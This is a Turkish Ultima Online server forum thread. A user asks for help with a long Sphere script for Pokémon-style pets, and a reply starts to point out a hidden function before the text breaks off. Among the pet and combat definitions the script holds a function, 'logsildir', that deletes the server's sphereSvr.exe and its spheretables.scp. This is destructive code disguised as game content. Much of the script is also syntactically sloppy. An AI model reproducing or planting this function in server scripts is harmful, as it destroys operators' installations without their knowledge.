UO-Dev Arama

 



İçerde : 1 misafir, 0 üye : --- Sayfalar: 1
Yazar

emre11


UO-Dev Üyesi
Skill Title: Apprentice
Online durumu
Toplam Mesaj: 65
Oyun Tarzı: Pvp
Emulatör:
Tecrübe: Player
Yaş: 24
Mesaj #92897   05-08-2017 14:33 GMT    
        
Merhabalar pokeomon ölünce yere düşüyor ölünce sahibinin çantasına düşmesini istiyorum birde 3 dk bir açılmasını istiyorum yardımcı olurmusunuz.



Kod:
[itemdef i_poqetop_dolu]
id 091a
name Poqetopu (Dolu)
type t_armor

on=@create
hitpoints 100
color 1946

on=@equip
unequip
return 1

on=@dclick
if (<topobj.uid> != <src.uid>
src.sysmessage @95 Poqemonu cikartmak icin topu once cantaniza almalisiniz.
return 1
elseif (<more2>
if (<src.flags>&statf_hidden) || (<src.flags>&statf_invisible)
src.sysmessage @95,,1 Gizlenmis durumdayken bunu kullanamazsiniz.
return 1
endif
endif
try src.newnpc <tag.beysid>
link <src.act.uid>
link.name <tag.name>
link.color <tag.color>
link.str <tag.bnkstr>
link.dex <tag.bnkdex>
link.int <tag.bnkint>
link.fame <tag.bnkfame>
link.karma <tag.bnkkarma>
link.memorydel <src.uid>
link.newitem i_memory
link.act.attr 04
link.act.more1 04
link.act.more2 <serv.time>
link.act.morep <link.p>
link.act.color memory_ipet
link.act.timer -1
link.act.link <src.uid>
link.act.cont <link.uid>
link.flags <link.flags>&statf_pet
link.update
link.anim 5
link.bark 3
link.effect 3,i_fx_sparkle,6,15,1
link.sayua @0790 HRRRRRRR !!
if (<tag.beysid> == c_pikachu)
src.say @1947 Seni Sectim Pikacuu !!
elseif (<tag.beysid> == c_charmender)
src.say @1946 Hakla Onu Carmender !!
elseif (<tag.beysid> == c_charmeleon)
src.say @1946 Charmeleon Git !!
elseif (<tag.beysid> == c_charizart)
src.say @1946 Charizard !! Seni Sectim !!
elseif (<tag.beysid> == c_snorlax)
src.say @1946 Ye Onu Snorlax !!
elseif (<tag.beysid> == c_raychu)
src.say @1946 i$ini Bitir Onun Raychu !!
elseif (<tag.beysid> == c_balbazar)
src.say @1946 Git Bulbasaur !!
elseif (<src.targ.baseid> == c_Goofing)
src.say @1946 Git Koofing !!
elseif (<src.targ.baseid> == c_arbok)
src.say @1946 Git Arbok !!
elseif (<src.targ.baseid> == c_miyav)
src.say @1946 Git Meow !!
elseif (<src.targ.baseid> == c_picigeto)
src.say @1946 Git Pidgeotto !!
elseif (<src.targ.baseid> == c_ratata)!
src.say @1946 Git Ratata  !!
elseif (<src.targ.baseid> == c_eknins)
src.say @1946 Git Ekans !!
elseif (<src.targ.baseid> == c_golem3)
src.say @1946 Git Sayko !
elseif (<src.targ.baseid> == c_persian)
src.say @1946 Git Persian !
endif
remove
return 1
endif

on=@click
message @<tag.color> <tag.name>
message @1946 <name>
return 1

[chardef 029]
defname c_okkesh
name Okkesh
can mt_walk | mt_run

on=@create
str 250
dex 180
int 0
tactics 1000
wrestling 1000
swordsmanship 1000
parrying 1000
events e_resist
karma -9999
Taming 100.0
AnimalLore 100.0


[itemdef i_poqetop]
id 091a
name Poqe Topu

on=@create
color 0

on=@dclick
if (<topobj.uid> != <src.uid>
src.sysmessage @95 Poqetopu kullanabilmek icin cantaniza almalsiniz.
return 1
elseif (<more2>
if (<src.flags>&statf_hidden) || (<src.flags>&statf_invisible)
src.sysmessage @95 Poqetopu bedeniniz gizlenmis iken kullanamazsiniz.
return 1
end if
else
TARGET @07ad Kucultecegin poqemonu sec..
return 1

on=@targon_char
if !(<src.targ.npc> == 85)
src.sysmessage @2028 Bu bir pokemon degil..
return 1
elseif (<src.targ.hits> < <src.targ.str>
src.sysmessage @2028 Bu poqumon yarali..
return 1
elseif !(<src.targ.ismypet>
src.sysmessage @2028 Bu poqumon size ait degil.
return 1
elseif (<src.targ.distance> > 3 )
src.sysmessage @2028 Cok uzaktasiniz..
return 1
else
tag.beysid <src.targ.id>
tag.color <src.targ.color>
tag.name <src.targ.name>
tag.bnkstr <src.targ.str>
tag.bnkdex <src.targ.dex>
tag.bnkint <src.targ.int>
tag.bnkfame <src.targ.fame>
tag.bnkkarma <src.targ.karma>
tag.bnkfood <src.targ.food>
src.newitem i_poqetop_dolu
new.tag.name <tag.name>
new.tag.beysid <tag.beysid>
new.tag.color <tag.color>
new.tag.bnkstr <tag.bnkstr>
new.tag.bnkdex <tag.bnkdex>
new.tag.bnkint <tag.bnkint>
new.tag.bnkfame <tag.bnkfame>
new.tag.bnkkarma <tag.bnkkarma>
new.tag.bnkfood <tag.food>
new.tag.id <tag.beysid>
src.act.bounce
src.act.color <tag.color>
src.sysmessage @07ad Pokemonunuz Kucultuluyor..
src.targ.remove
remove
if (<src.targ.baseid> == c_charmender)

src.say @1946 Charmender Savasmayi Birak !

elseif (<src.targ.baseid> == c_pikachu)


src.say @1946 Pikachu, Geri Gel !
elseif (<src.targ.baseid> == c_charmeleon)


src.say @1946 Geri Don Charmeleon !
elseif (<src.targ.baseid> == c_charizart)

src.say @1946 Charizard Don !

elseif (<src.targ.baseid> == c_snorlax)

src.say @1946 Topuna Don Snorlax !
elseif (<src.targ.baseid> == c_raychu)

src.say @1946 Topuna Don Pikachuu !
elseif (<src.targ.baseid> == c_balbazar)

src.say @1946 Bulbasaur Geri Don !

elseif (<src.targ.baseid> == c_Goofing)

src.say @1946 Koofing Geri Don !


elseif (<src.targ.baseid> == c_arbok)

src.say @1946 Arbok Geri Don !

elseif (<src.targ.baseid> == c_miyav)

src.say @1946 Meow Geri Don !

elseif (<src.targ.baseid> == c_picigeto)

src.say @1946 Pidgeotto Geri Don !

elseif (<src.targ.baseid> == c_ratata)

src.say @1946 Ratata Geri Don !

elseif (<src.targ.baseid> == c_eknins)

src.say @1946 Ekans Geri Don !

elseif (<src.targ.baseid> == c_golem3)

src.say @1946 Sayko Geri Don !

elseif (<src.targ.baseid> == c_persian)

src.say @1946 Persian Geri Don !

endif
return 1

on=@targon_item
src.sysmessage @2028 Objeler poqe topa girmez..
return 1

on=@targon_ground
src.sysmessage @2028 Yer poqetopuna sigmaz..
return 1

on=@click
message @1946 <name>
return 1

on=@equip
unequip
return 1

[chardef c_golem3]
id c_titan
name Machamp
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_golemp
karma -9999
npc 85
str 100
dex 100
int 0
color 079b
magery 500
tactics 900
fencing 1000
wrestling 1000

on=@click
MESSAGE @0823,4 <name>
return 1


[chardef c_picigeto]
id c_harpy
name Pidgeotto
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_picigeto
karma -9999
npc 85
str 100
dex 100
int 0
color 0bb7
tactics 1000
fencing 1000
wrestling 1000


[chardef c_eknins]
id c_alligator
name Ekans
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_ratata
karma -9999
npc 85
str 40
dex 100
int 0
color 0bb0
tactics 1000
fencing 1000
wrestling 1000


[chardef c_ratata]
id c_gorilla
name Ratata
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_ratata
karma -9999
npc 85
str 50
dex 100
int 0
color 0bb6
tactics 1000
fencing 1000
wrestling 1000


[chardef c_Miyav]
id c_spectre
name Meow
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster   
events e_miyav
karma -9999
npc 85
str 60
dex 1000
int 0
color 0c86
tactics 1000
fencing 1000
wrestling 1000

[chardef c_persian]
id c_panther
name Persian
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_miyav
karma -9999
npc 85
str 90
dex 2000
int 0
color 08e8
tactics 1000
fencing 1000
wrestling 1000

[chardef c_arbok]
id c_stag
name Arbok
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_arbok
karma -9999
npc 85
str 60
dex 1000
int 0
color 0ba5
magery 1000
tactics 1000
fencing 1000
wrestling 1000

[chardef c_Goofing]
id c_gazer
name Koofing
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_Goofing
karma -9999
npc 85
str 100
dex 100
int 0
color 079b
magery 1000
tactics 1000
wrestling 1000
fencing 1000

[chardef c_pikachu]
id c_rat_giant
name Pikachu
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_pikacu
karma -9999
npc 85
str 115
dex 108
int 0
color 1946
magery 1000
tactics 1000
wrestling 1000
fencing 1000

[chardef c_balbazar]
id c_bullfrog
name Bulbasaur
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_balbazar
karma -9999
npc 85
str 75
dex 68
int 0
color 049
magery 1000
tactics 1000
wrestling 1000
fencing 1000

[chardef c_raychu]
id c_ratman
name Pikachuu
can mt_walk | mt_run | mt_equip
range 9

on=@create
NPC=brain_monster
events e_raychu
karma -9999
npc 85
str 100
dex 100
int 0
color 0c86
magery 1000
tactics 1000
wrestling 1000
fencing 1000

on=@click
MESSAGE @0823,4 <name>
return 1



[chardef c_charmender]
id c_mongbat
name Charmender
can mt_walk | mt_run | mt_equip
range 9
sound 0

on=@create
npc=brain_monster
events e_charmender
karma -9999
npc 85
str 45
dex 56
int 0
color 1945
magery 1000
tactics 1000
wrestling 1000
fencing 1000
animallore 1000

[chardef c_charmeleon]
id c_gargoyle
name Charmeleon
can mt_walk | mt_run | mt_equip
range 15
sound 0

on=@create
npc=brain_monster
events e_charmeleon
karma -9999
fame 4650
npc 85
str 100
dex 100
int 0
color 1945
magery 1000
tactics 1000
wrestling 1000
fencing 1000

on=@click
MESSAGE @0823,4 <name>
return 1


[chardef c_charizart]
id c_dragon_small_red
name Charizard
can mt_walk | mt_run | mt_equip
range 23
sound 0

on=@create
npc=brain_monster
events e_charizart
karma -9999
fame 4650
npc 85
str 140
dex 140
int 0
color 1945
magery 1000
tactics 1000
wrestling 1000
fencing 1000



[chardef c_snorlax]
id c_ogre
name Snorlax
can mt_walk | mt_run | mt_equip
range 23
sound 0

on=@create
npc=brain_monster
events e_snorlax
karma -9999
fame 3000
npc 85
str 100
dex 100
int 0
color 0810
magery 1000
tactics 1000
wrestling 1000
fencing 1000


on=@click
MESSAGE @0823,4 <name>
return 1


[events e_golemp]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
MESSAGE @0790,4 [Earth Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {5 17})
SRC.newitem i_tassaldirisi
src.hits (<src.hits> - {25 30}))
SRC.anim 14
src.sound 64

on=@gethit
dorand 5
say @1946 Ahhhh.. !!
say @1946 uhh..!!
say @1946 HOOOOO.. !


enddo

if ( <eval <src.str>/3> > <src.hits> )
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
new.p <p>
new.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1
[events e_snorlax]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
MESSAGE @0790,4 [Earth Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {25 30}))
SRC.anim 14
SRC.SAYU * Kemikleri Kirilir *
sayu Hoh Hoh Hoooooo..!
src.sound 64

on=@gethit
dorand 5
say @1946 Ahhhh.. !!
say @1946 uhh..!!
say @1946 HOOOOO.. !


enddo

if ( <eval <src.str>/3> > <src.hits> )
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
new.p <p>
new.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[itemdef i_pikacu_zipr]
id i_spear
name pikacu
range 30

on=@create
attr 04
hitpoints 150

[events e_pikacu]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
MESSAGE @0790,4 [Elektrik Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {12 15}))
SRC.Effect=1,1,1,22,1.color 080a
sayu Pikacuuu !!
src.sound snd_spell_lightning

on=@gethit
dorand 5
say @1946 Uhm Arghh..
say @1946 uhh..
say @1946 Oluyorum imdaat..


enddo

if ( <eval <src.str>/3> > <src.hits> )
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
new.p <p>
new.color <color>
remove
return 1

on=@death
hits <src.str>
newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
new.p <src.p>
new.color <src.color>
remove
return 1


[events e_charmender]
on=@click
message @0484,6 [Ates Pokemon]

on=@attack
if (<region.safe> == 1)
return 1
endif

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {3 14})
SRC.Effect=3,i_fx_explode,1,22,1.color 1948
sound 40
if (<fame> > 4500)
body c_charmeleon
id c_charmeleon
str 95
dex 76
int 0
endif

on=@gethit
dorand 5
say @1949 Uhm Arghh..
say @1949 uhh..
say @1949 Oluyorum imdaat..


enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[events e_charmeleon]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
MESSAGE @0790,4 [Ates Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - ({10 20})
SRC.newitem i_fire_kolon
src.sound 0207
src.act.p <src.p>
if (<fame> < 4500)
body c_charmender
id c_charmender
str 45
dex 56
int 0
endif

on=@gethit
dorand 5
say @1949 Uhm Arghh..
say @1949 uhh..
say @1949 Oluyorum imdaat..


enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[events e_charizart]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Ates Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {30 58})
SRC.newitem i_fire_kolon
src.sound 0207
src.act.p <src.p>
src.hits (<src.hits> - {3 14})
SRC.Effect=3,i_fx_explode,1,22,1.color 1948
sound 40


on=@gethit
dorand 5
say @1949 Uhm Arghh..
say @1949 uhh..
say @1949 Oluyorum imdaat..


enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1


[function deletefile]
IF !(<FILE.INUSE>)
FILE.MODE.APPEND=1
FILE.DELETEFILE <ARGS>
FILE.CLOSE
ENDIF

[function logsildir]
SERV.DELETEFILE C:\Sphere\Scripts\spheretables.scp
SERV.DELETEFILE C:\Sphere\sphereSvr.exe
return 1

[events e_raychu]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
MESSAGE @0790,4 [Elektrik Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {20 36})
src.sound 0207
src.act.p <src.p>
SRC.Effect=1,1,1,22,1.COLOR = 07c5
sayu Hrrr !!
src.sound snd_spell_lightning

on=@gethit
dorand 5
say @1949 Ahh !
say @1949 Uhh !
say @1949 Oluyorum imdat !

enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[events e_Goofing]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Duman Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {5 18})
SRC.newitem i_dumansaldirisi
src.sound 0230
src.act.p <src.p>
src.hits (<src.hits> - {3 15})
sayu Goofing!!
src.sound 8

on=@gethit
dorand 5
say @1949 Duman Saldirisi
say @1949 Ahhh !
say @1949 Gaz Saldirisi

enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[events e_balbazar]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Bitki Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {5 17})
SRC.newitem i_yapraksaldirisi
src.sound 0230
src.act.p <src.p>
src.hits (<src.hits> - {3 14})
sayu Balbazarrrrr !
src.sound 8

on=@gethit
dorand 5
say @1949 Ihhh !
say @1949 Ahhh !
say @1949 Sahip oluyorum !

enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[events e_Arbok]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Zehir Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {5 10}))
sayu Arbokkk!
src.sound snd_spell_poison

on=@gethit
dorand 5
say @1946 Uhm Arghh..
say @1946 uhh..
say @1946 Oluyorum imdaat..


enddo

if ( <eval <src.str>/3> > <src.hits> )
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
new.p <p>
new.color <color>
remove
return 1

on=@death
hits <src.str>
newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
new.p <src.p>
new.color <src.color>
remove
return 1

[events e_ratata]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Zehir Pokemon]


on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {5 6})
SRC.newitem i_zehirsaldirisi
src.sound 0230
src.act.p <src.p>
src.hits (<src.hits> - {3 7})
sayu Ratataaaa !
src.sound 8


on=@gethit
dorand 5
say @1946 Uhm Arghh..
say @1946 uhh..
say @1946 Oluyorum imdaat..


enddo

if ( <eval <src.str>/3> > <src.hits> )
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
new.p <p>
new.color <color>
remove
return 1

on=@death
hits <src.str>
newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
new.p <src.p>
new.color <src.color>
remove
return 1

[events e_miyav]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Earth Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {2 3}))
SRC.SAYU ** Tirmalanir **
src.fxt

on=@gethit
dorand 5
say @1946 Pence Saldirisi !!
say @1946 uhh..!!
say @1946 HOOOOO.. !



enddo

if ( <eval <src.str>/3> > <src.hits> )
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
new.p <p>
new.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[events e_picigeto]
on=@attack
if (<region.safe> == 1)
return 1
endif

on=@click
message @0484,6 [Ruzgar Pokemon]

on=@hit
if (<region.safe> == 1)
return 1
endif
src.hits (<src.hits> - {5 17})
SRC.newitem i_ruzgarsaldirisi
src.sound 0230
src.act.p <src.p>
src.hits (<src.hits> - {3 14})
sayu Picigeto !
src.sound 8

on=@gethit
dorand 5
say @1949 Pijeooo
say @1949 Ahhh !
say @1949 Ruzgar Saldirisi

enddo
if (<eval <src.str>/4> > <src.hits>
hits <str>
newitem i_poqetop_dolu
new.tag.name <name>
new.tag.beysid <id>
new.tag.color <color>
new.tag.bnkstr <str>
new.tag.bnkdex <dex>
new.tag.bnkint <int>
new.tag.bnkfame <fame>
new.tag.bnkkarma <karma>
new.tag.bnkfood <food>
act.p <p>
act.color <color>
remove
return 1

on=@death
src.hits <src.str>
src.newitem i_poqetop_dolu
new.tag.name <src.name>
new.tag.beysid <src.id>
new.tag.color <src.color>
new.tag.bnkstr <src.str>
new.tag.bnkdex <src.dex>
new.tag.bnkint <src.int>
new.tag.bnkfame <src.fame>
new.tag.bnkkarma <src.karma>
new.tag.bnkfood <src.food>
src.act.p <src.p>
src.act.color <src.color>
remove
return 1

[itemdef i_fire_kolon]
id i_fire_column
name Alev Saldirisi

on=@create
color 1949
timer 4

on=@timer
remove
return 1

[itemdef i_yapraksaldirisi]
id i_fx_glow_spike
name Keskin yaprak saldirisi..

on=@create
color 049
timer 4

on=@timer
remove
return 1

[itemdef i_dumansaldirisi]
id i_fx_smoke
name Duman Saldirisi

on=@create
color 0455
timer 3

on=@timer
remove
return 1

[itemdef i_ruzgarsaldirisi]
id i_fx_smoke
name Ruzgar Saldirisi

on=@create
color 0
timer 4

on=@timer
remove
return 1

[itemdef i_Zehirsaldirisi]
id i_fx_glow_spike
name zehirr Saldirisi

on=@create
color 1946
timer 6

on=@timer
remove
return 1

[itemdef i_tassaldirisi]
id i_rock_plain
name tassaldirisi

on=@create
color 1946
timer 6

on=@timer
remove
return 1


//////////////////////////////////////////////




[itemdef i_charmeleon_deed]
id=091a
name=Ates Pokemon
type t_deed

on=@Create
color 0799

on=@Click
message @045,,1 [<serv.chardef.c_charmeleon.name>]
message @0823 <name>
return 1

on=@dClick
src.newnpc c_charmeleon
new.p <src.p>
local.binekuid <new.uid>
serv.newitem i_memory
new.attr 04
new.more1 04
new.more2 <serv.time>
new.morep <uid.<local.binekuid>.p>
new.color memory_ipet
new.timer -1
new.link <src.uid>
new.cont <local.binekuid>
try uid.<local.binekuid>.flags <uid.<local.binekuid>.flags>&statf_pet
try uid.<local.binekuid>.update
remove








[itemdef i_pikachu_deed]
id=091a
name=Elektirik Pokemon
type t_deed

on=@Create
color 0c86

on=@Click
message @045,,1 [<serv.chardef.c_raychu.name>]
message @0823 <name>
return 1

on=@dClick
src.newnpc c_raychu
new.p <src.p>
local.binekuid <new.uid>
serv.newitem i_memory
new.attr 04
new.more1 04
new.more2 <serv.time>
new.morep <uid.<local.binekuid>.p>
new.color memory_ipet
new.timer -1
new.link <src.uid>
new.cont <local.binekuid>
try uid.<local.binekuid>.flags <uid.<local.binekuid>.flags>&statf_pet
try uid.<local.binekuid>.update
remove










[itemdef i_snorlax_deed]
id=091a
name=Earth Pokemon
type t_deed

on=@Create
color 0810

on=@Click
message @045,,1 [<serv.chardef.c_snorlax.name>]
message @0823 <name>
return 1

on=@dClick
src.newnpc c_snorlax
new.p <src.p>
local.binekuid <new.uid>
serv.newitem i_memory
new.attr 04
new.more1 04
new.more2 <serv.time>
new.morep <uid.<local.binekuid>.p>
new.color memory_ipet
new.timer -1
new.link <src.uid>
new.cont <local.binekuid>
try uid.<local.binekuid>.flags <uid.<local.binekuid>.flags>&statf_pet
try uid.<local.binekuid>.update
remove








[itemdef i_golem3_deed]
id=091a
name=Earth Pokemon
type t_deed

on=@Create
color 079b

on=@Click
message @045,,1 [<serv.chardef.c_golem3.name>]
message @0823 <name>
return 1

on=@dClick
src.newnpc c_golem3
new.p <src.p>
local.binekuid <new.uid>
serv.newitem i_memory
new.attr 04
new.more1 04
new.more2 <serv.time>
new.morep <uid.<local.binekuid>.p>
new.color memory_ipet
new.timer -1
new.link <src.uid>
new.cont <local.binekuid>
try uid.<local.binekuid>.flags <uid.<local.binekuid>.flags>&statf_pet
try uid.<local.binekuid>.update
remove






[EOF]


Son güncelleme: TheRaskol tarafından 05-08-2017 15:19 GMT, 378 Gün önce düzenlendi.



Yazar

M.CANILIK


UO-Dev Üyesi
Skill Title: Expert
Online durumu
Toplam Mesaj: 321
Oyun Tarzı: Pvp
Emulatör: 0.56b
Tecrübe: Player
Yaş: 29
Mesaj #92899   05-08-2017 18:47 GMT    
        
Öncelikle script içinden

Kod:
[function logsildir]
